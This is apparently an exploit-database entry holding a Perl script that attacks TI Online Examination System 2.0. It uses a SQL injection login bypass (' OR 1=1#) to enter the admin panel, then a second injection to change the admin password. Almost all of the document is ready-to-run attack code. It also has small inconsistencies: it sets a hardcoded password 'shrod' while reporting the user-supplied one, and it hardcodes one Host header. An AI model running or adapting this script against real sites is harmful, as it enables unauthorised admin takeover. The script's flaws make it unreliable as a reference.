TI Online Examination System 2.0 Admin Password Changer Exploit



EKU-ID: 6300 CVE: OSVDB-ID:
Author: StAkeR Published: 2017-02-20 Verified: Verified
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#!/usr/bin/perl
  
# ------------------------------------------------------------------------
# [+] TI Online Examination System 2.0 Admin Password Changer Exploit
# ------------------------------------------------------------------------
# [*] Discovered by Juri Gianni - Turin,Italy
# [*] staker - staker[at]hotmail[dot]it / shrod9[at]gmail[dot]com
# [*] Discovered on 17/02/2017
# [*] Site Vendor: http://textusintentio.com/
# [*] Category: WebApp
# [*] BUG: SQL Injection
# --------------------------------------------------------------------------
# 
# 
# 
# ----------------------------------------------------------------------------
# [+] Based on login bypass (sql injection)
# 
#  Go to admin/index.php and insert:  ' OR 1=1#  as email and any password.
# 
#  You will be logged into the admin panel.
# 
# -----------------------------------------------------------------------------
  
use strict;
use IO::SOCKET::INET;
  
      
            
my ($host,$new_password) = @ARGV;
  
parse_url($host);
  
  
  
sub parse_url()
{
   if ($_[0] =~  m{^http://(.+?)$}i ) { 
       $_[0] = $1; 
  }
}
  
  
sub usage() {
          
        print "[*---------------------------------------------------------*]\n".
              "[* TI Online Examination System 2.0 Admin Password Changer *]\n".
              "[*---------------------------------------------------------*]\n". 
              "[* Usage: perl web.pl [host] [new password]                *]\n".
              "[*                                                         *]\n".
              "[* Options:                                                *]\n".
              "[* [host] insert a valid host                              *]\n".
              "[* [path] insert a password                                *]\n".
              "[*---------------------------------------------------------*]\n";          
     
}
    
            
           
my ($PHPSESSID,$content,$packet) = (undef,undef,undef);  
my $data = "login_type=admin&email=' OR 1=1#&password=".$new_password;
  
  
  
  
  
my $socket  = new IO::Socket::INET(
                                   PeerAddr => $host,
                                   PeerPort => 80,
                                   Proto    => 'tcp',
                                  ) or die $!;
          
                  
  
$packet .= "POST /admin/index.php HTTP/1.1\r\n";
$packet .= "Host: oesv2.textusintentio.com\r\n";
$packet .= "User-Agent: Lynx (textmode)\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Content-Length:".length($data)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet.= $data;
  
           
$socket->send($packet);
       
  
           
           
while (<$socket>) {
     $content .= $_;
}    
       
           
if($content =~ /PHPSESSID=(.+?);/) { 
   $PHPSESSID = $1; 
 }
else {
   die "[-] Exploit Failed";
}   
   
   
   
my ($packet2,$data2,$content2) = (undef,undef,undef);
   
   
    
my $pword = "shrod";   
my $data2 = "old_pass=' OR 1=1#&new_pass=".$pword."&con_pass=".$pword."&submit=Add+new+user";
  
  
      
          
my $socket2  = new IO::Socket::INET(
                                    PeerAddr => $host,
                                    PeerPort => 80,
                                    Proto    => 'tcp',
                                    ) or die $!;
                  
          
          
  
$packet2 .= "POST /admin/change_password.php HTTP/1.1\r\n";
$packet2 .= "Host: ".$host."\r\n";
$packet2 .= "User-Agent: Lynx (textmode)\r\n";
$packet2 .= "Cookie: PHPSESSID=".$PHPSESSID.";\r\n";
$packet2 .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet2 .= "Content-Length:".length($data2)."\r\n";
$packet2 .= "Connection: close\r\n\r\n";
$packet2 .= $data2;
           
           
  
$socket2->send($packet2);
  
  
 while (<$socket2>) {
        $content2 .= $_;
 }    
   
 if ( $content2 =~ /Password is successfully changed/ ) { 
           print "[*] Exploit Successful\r\n[*] New Password: ".$new_password."\r\n";
}
            
else {
   die "[-] Exploit Failed!";
}